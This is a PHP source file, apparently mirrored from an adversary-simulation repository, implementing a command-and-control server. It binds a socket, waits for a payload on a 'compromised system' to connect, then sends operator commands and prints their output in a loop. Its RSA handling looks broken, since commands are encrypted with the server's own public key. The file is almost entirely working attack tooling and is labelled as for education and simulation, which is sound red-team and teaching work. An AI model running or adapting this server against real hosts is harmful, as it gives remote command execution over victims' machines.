mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
121 lines
3.8 KiB
PHP
121 lines
3.8 KiB
PHP
<?php
|
|
// This PHP C2 server script enables remote communication by utilizing RSA encryption for secure data transmission between the attacker server and the target. Commands are encrypted using RSA encryption before being sent to the target.
|
|
|
|
// This C2 is for simulation only and is still under development
|
|
// php C2-Server.php
|
|
// Author: S3N4T0R
|
|
// Date: 2024-6-16
|
|
|
|
// Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
|
|
|
|
// Generate RSA keys
|
|
function generate_rsa_keys() {
|
|
$config = array(
|
|
"digest_alg" => "sha256",
|
|
"private_key_bits" => 2048,
|
|
"private_key_type" => OPENSSL_KEYTYPE_RSA,
|
|
);
|
|
$res = openssl_pkey_new($config);
|
|
openssl_pkey_export($res, $private_key);
|
|
$public_key = openssl_pkey_get_details($res)["key"];
|
|
|
|
return array($private_key, $public_key);
|
|
}
|
|
|
|
// Encrypt data using RSA
|
|
function rsa_encrypt($data, $public_key) {
|
|
openssl_public_encrypt($data, $encrypted_data, $public_key);
|
|
return $encrypted_data;
|
|
}
|
|
|
|
// Decrypt data using RSA
|
|
function rsa_decrypt($data, $private_key) {
|
|
openssl_private_decrypt($data, $decrypted_data, $private_key);
|
|
return $decrypted_data;
|
|
}
|
|
|
|
// Send encrypted output to the payload
|
|
function send_to_payload($socket, $data, $public_key) {
|
|
$encrypted_data = rsa_encrypt($data, $public_key);
|
|
socket_write($socket, $encrypted_data, strlen($encrypted_data));
|
|
}
|
|
|
|
// Encrypted commands from the payload
|
|
function receive_from_payload($socket, $buffer_size, $private_key) {
|
|
$encrypted_data = socket_read($socket, $buffer_size);
|
|
return rsa_decrypt($encrypted_data, $private_key);
|
|
}
|
|
|
|
echo "\033[0;32m";
|
|
echo <<<BANNER
|
|
|
|
############################################################################################
|
|
# 1. Enter a command directly to be executed by the compromised system. #
|
|
# 2. Commands are securely transmitted using RSA encryption. #
|
|
# NOTE: Enter the command to execute when prompted. #
|
|
###########################################################################################
|
|
|
|
BANNER;
|
|
echo "\033[0m\n";
|
|
|
|
$attacker_ip = readline("[*] Enter your IP: ");
|
|
$c2_port = readline("[*] Enter C2 server port: ");
|
|
|
|
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
|
if ($socket === false) {
|
|
echo "Socket creation failed: " . socket_strerror(socket_last_error()) . "\n";
|
|
exit(1);
|
|
}
|
|
|
|
if (!socket_bind($socket, $attacker_ip, $c2_port)) {
|
|
echo "Socket bind failed: " . socket_strerror(socket_last_error()) . "\n";
|
|
exit(1);
|
|
}
|
|
|
|
if (!socket_listen($socket, 5)) {
|
|
echo "Socket listen failed: " . socket_strerror(socket_last_error()) . "\n";
|
|
exit(1);
|
|
}
|
|
|
|
echo "[*] Waiting for incoming connection...\n";
|
|
|
|
// Accept incoming connection
|
|
$client_socket = socket_accept($socket);
|
|
if ($client_socket === false) {
|
|
echo "Socket accept failed: " . socket_strerror(socket_last_error()) . "\n";
|
|
exit(1);
|
|
}
|
|
|
|
list($private_key, $public_key) = generate_rsa_keys();
|
|
|
|
// Send the public key to the client
|
|
socket_write($client_socket, $public_key, strlen($public_key));
|
|
|
|
// Main loop for fetching and executing commands
|
|
while (true) {
|
|
// Get command directly from user
|
|
$command = readline("[*] Enter command to execute: ");
|
|
send_to_payload($client_socket, $command, $public_key);
|
|
|
|
// Exit the loop if the command is 'exit'
|
|
if (trim($command) == 'exit') {
|
|
echo "Exiting...\n";
|
|
break;
|
|
}
|
|
|
|
// Receive output from payload
|
|
$output = receive_from_payload($client_socket, 4096, $private_key);
|
|
|
|
echo "[*] Command Output:\n$output\n";
|
|
|
|
// Wait for a period before fetching new commands
|
|
sleep(10);
|
|
}
|
|
|
|
// Close sockets
|
|
socket_close($client_socket);
|
|
socket_close($socket);
|
|
|
|
?>
|
|
|